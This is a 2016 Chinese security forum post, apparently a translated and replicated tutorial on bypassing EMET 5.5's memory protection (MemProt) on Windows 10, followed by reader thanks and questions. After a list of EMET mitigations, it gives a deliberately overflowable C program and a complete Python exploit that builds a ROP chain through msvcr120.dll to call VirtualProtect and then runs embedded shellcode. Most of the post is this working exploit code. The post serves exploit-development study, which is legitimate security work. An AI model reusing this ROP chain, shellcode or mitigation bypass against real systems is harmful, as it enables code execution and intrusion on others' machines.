首页
社区
课程
招聘
[原创]win10下EMET 5.5防护机制之Memport的绕过
发表于: 2016-3-21 17:28 6919

[原创]win10下EMET 5.5防护机制之Memport的绕过

2016-3-21 17:28
6919

原文链接:010K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3g2^5M7r3c8W2N6W2)9J5k6r3E0A6N6h3S2F1L8g2)9J5k6i4u0Z5j5$3I4G2N6h3c8Q4x3X3g2U0L8$3#2Q4x3V1j5J5x3o6p5#2i4K6u0r3x3o6g2Q4x3V1j5J5z5g2)9J5c8X3g2E0k6i4c8Q4x3X3b7#2i4K6u0V1x3W2)9J5k6o6u0Q4x3V1j5`.
翻译链接:http://bbs.pediy.com/showthread.php?t=207189

本文实验环境为win10,如果是win7,则会与原文保持一样的结果。

首先介绍一下EMET:
    1. 数据执行保护(DEP)
        如果指令位于被标记为不可执行的内存区域,就阻止它们的执行.
    2. 结构化异常处理程序覆盖保护(SEHOP)
        对覆盖 Windows 结构化异常处理程序的漏洞利用技术进行防御.
    3. 空页面保护(NullPage)
        预分配空页面,防止攻击者利用它来进行恶意利用.
    4. 堆喷射保护(HeapSpray)
        将通常被攻击者用来分配恶意代码的内存区域预先分配了.(例如,0x0a040a04;0x0a0a0a0a;0x0b0b0b0b;0x0c0c0c0c;0x0d0d0d0d;0x0e0e0e0e;0x04040404;0x05050505;0x06060606;0x07070707;0x08080808;0x09090909;0x20202020;0x14141414)
    5. 导出地址表访问过滤(EAF)
        可以对访问导出地址表(EAT)的调用代码设置规则.
    6. 导出地址表访问过滤增强版(EAF+)
        阻止掉常被用于漏洞利用过程中通过读取导入,导出表来获取常见模块中 API 函数地址
        的操作.
    7. 强制地址空间布局随机化(MandatoryASLR)
        通过随机化模块加载到内存中的位置,以此来限制攻击者预先确定内存地址的能力.
    8. 由低而上的地址空间布局随机化(BottomUpASLR)
        通过随机化自下而上分配的基地址来增强强制性地址空间布局随机化(MandatoryASLR)
        的缓解性(Mitigation).
    9. Load Library 保护(LoadLib)
        阻止掉位于 UNC(通用命名规则)路径下的模块(即,\\evilsite\bad.dll)-返回导向编程(ROP)攻击中的通用技术.
    10. 内存保护(MemProt)
        阻止掉将位于栈中的内存空间标记为可执行的操作-返回导向编程(ROP)攻击中的通用技
        术.
    11. ROP 调用者检查(Caller)
        阻止掉直接通过一个 RET指令来调用的判定/关键函数的执行-返回导向编程(ROP)攻击中的通用技术.
    12. ROP 模拟执行流(SimExecFlow)
        在返回地址后再生一个执行流,尝试检测返回导向编程(ROP)攻击.
    13. 堆栈支点(StackPivot)
        检查栈指针是否被修改,转而去指向攻击者控制的内存区域了-返回导向编程(ROP)攻击
        中的通用技术.
    14. 减少攻击面(ASR)
        防止规定的模块加载到受保护进程的地址空间.

接下来是我们实验用的程序代码:

#include <cstdio>
#include <Windows.h>
#include <conio.h>

_declspec(noinline) int f() {
    char name[32];
    printf("Reading name from file...\n");
    LoadLibrary(L"msvcr120.dll");//原文并没有这个,但是没有这个,我们的程序不会加载这个模块,由于我们要用到这个模块,所以我手动加载了^-^
    FILE *f = fopen("c:\\tmp\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);//这就是我们的溢出点了
    name[bytes] = '\0';
    fclose(f);
    printf("Hi, %s!\n", name);
	getch();
    return 0;
}

int main() {
    char moreStack[10000];//避免我们的payload太大,导致文件读取的时候出错
    for (int i = 0; i < sizeof(moreStack); ++i)
        moreStack[i] = i;

    return f();
}
#include <windows.h>
#include <conio.h>
int main() {
	HMODULE hMod =LoadLibrary("msvcr120.dll");
printf("msvcr120 = %08x\n", hMod);
printf("--- press any key ---\n");
_getch();
return 0;
}
import struct
 
# The signature of VirtualProtect is the following:
#   BOOL WINAPI VirtualProtect(
#     _In_   LPVOID lpAddress,
#     _In_   SIZE_T dwSize,
#     _In_   DWORD flNewProtect,
#     _Out_  PDWORD lpflOldProtect
#   );
 
# After PUSHAD is executed, the stack looks like this:
#   .
#   .
#   .
#   EDI (ptr to ROP NOP (RETN))
#   ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
#   EBP (ptr to POP (skips EAX on the stack))
#   ESP (lpAddress (automatic))
#   EBX (dwSize)
#   EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
#   ECX (lpOldProtect (ptr to writeable address))
#   EAX (address of ptr to VirtualProtect)
# lpAddress:
#   ptr to "call esp"
#   <shellcode>
 
msvcr120 = 0x605a0000#[B]这里是我们实际获得的地址,使用时需要修改这个值[/B]
 
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
 
 
def create_rop_chain(code_size):
    rop_gadgets = [
      md + 0x7053fc6f,  # POP EBP # RETN [MSVCR120.dll]
      md + 0x7053fc6f,  # skip 4 bytes [MSVCR120.dll]
      md + 0x704f00f6,  # POP EBX # RETN [MSVCR120.dll]
      code_size,        # code_size -> ebx
      md + 0x704b6580,  # POP EDX # RETN [MSVCR120.dll]
      0x00000040,       # 0x00000040-> edx
      md + 0x7049f8cb,  # POP ECX # RETN [MSVCR120.dll]
      md + 0x705658f2,  # &Writable location [MSVCR120.dll]
      md + 0x7048f95c,  # POP EDI # RETN [MSVCR120.dll]
      md + 0x7048f607,  # RETN (ROP NOP) [MSVCR120.dll]
      md + 0x704eb436,  # POP ESI # RETN [MSVCR120.dll]
      md + 0x70493a17,  # JMP [EAX] [MSVCR120.dll]
      md + 0x7053b8fb,  # POP EAX # RETN [MSVCR120.dll]
      md + 0x705651a4,  # ptr to &VirtualProtect() [IAT MSVCR120.dll]
      md + 0x7053b7f9,  # PUSHAD # RETN [MSVCR120.dll]
      md + 0x704b7e5d,  # ptr to 'call esp' [MSVCR120.dll]
    ]
    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
 
 
def write_file(file_path):
    with open(file_path, 'wb') as f:
        ret_eip = md + 0x7048f607       # RETN (ROP NOP) [MSVCR120.dll]
        shellcode = (
            "\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
            "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
            "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
            "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
            "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
            "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
            "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
            "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
            "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
            "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
            "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
            "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        code_size = len(shellcode)
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
        f.write(name)
 
write_file(r'c:\tmp\name.dat')#你可以自己修改文件地址,注意要和前面的cpp文件一致

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (16)
雪    币: 2673
活跃值: (3560)
能力值: ( LV13,RANK:1760 )
在线值:
发帖
回帖
粉丝
2
占个沙发,感谢分享,学习
2016-3-21 18:38
0
雪    币: 6
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
谢谢分享,学习一下
2016-3-21 18:41
0
雪    币: 3837
活跃值: (2085)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
4
一开始想着复现原帖的内容,但是试了好久都没结果。绕过EAF那个本来想写的,可是无奈自己的机器运行windbg,EMET就不能启用,而且在调试器里没法复现那个硬件断点,只能根据原帖来印证,而不是自己发现,就没写了。有时候看不懂原帖,再看看安大大的翻译,也是很有帮助,感谢翻译^-^
2016-3-21 19:30
0
雪    币: 3837
活跃值: (2085)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
5
感谢支持
2016-3-21 19:53
0
雪    币: 590
活跃值: (678)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
这么好的文章,学习了
2016-3-21 20:03
0
雪    币: 3837
活跃值: (2085)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
7
感谢大大的翻译
2016-3-21 20:11
0
雪    币: 3837
活跃值: (2085)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
8
第一次发帖,多谢支持
2016-3-21 20:23
0
雪    币: 2044
活跃值: (237)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
9
mark....
2016-3-21 20:25
0
雪    币: 219
活跃值: (878)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
10
活学活用,支持
2016-3-21 23:21
0
雪    币: 398
活跃值: (407)
能力值: ( LV9,RANK:410 )
在线值:
发帖
回帖
粉丝
11
感谢分享
2016-3-22 13:33
0
雪    币: 799
活跃值: (462)
能力值: ( LV12,RANK:280 )
在线值:
发帖
回帖
粉丝
12
这个就是相当于直接调用的int 2E中断来绕过Hook吧,那对于新的内核应该是调用sysenter?
2016-8-5 15:15
0
雪    币: 346
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
13
好文,感谢分享!
2016-8-5 15:51
0
雪    币: 60
活跃值: (15)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
mark,学习一下,感谢分享
2016-9-7 10:08
0
雪    币: 346
活跃值: (25)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
15
好文章! 感谢翻译!
2016-9-7 10:43
0
雪    币: 799
活跃值: (462)
能力值: ( LV12,RANK:280 )
在线值:
发帖
回帖
粉丝
16
这种方法可以绕过Deep Hooks保护吗?我看到Deep Hooks保护会把关键函数调用的所有底层函数全部Hook住
2016-10-25 22:40
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
mark
2016-10-26 13:12
0
游客
登录 | 注册 方可回帖
返回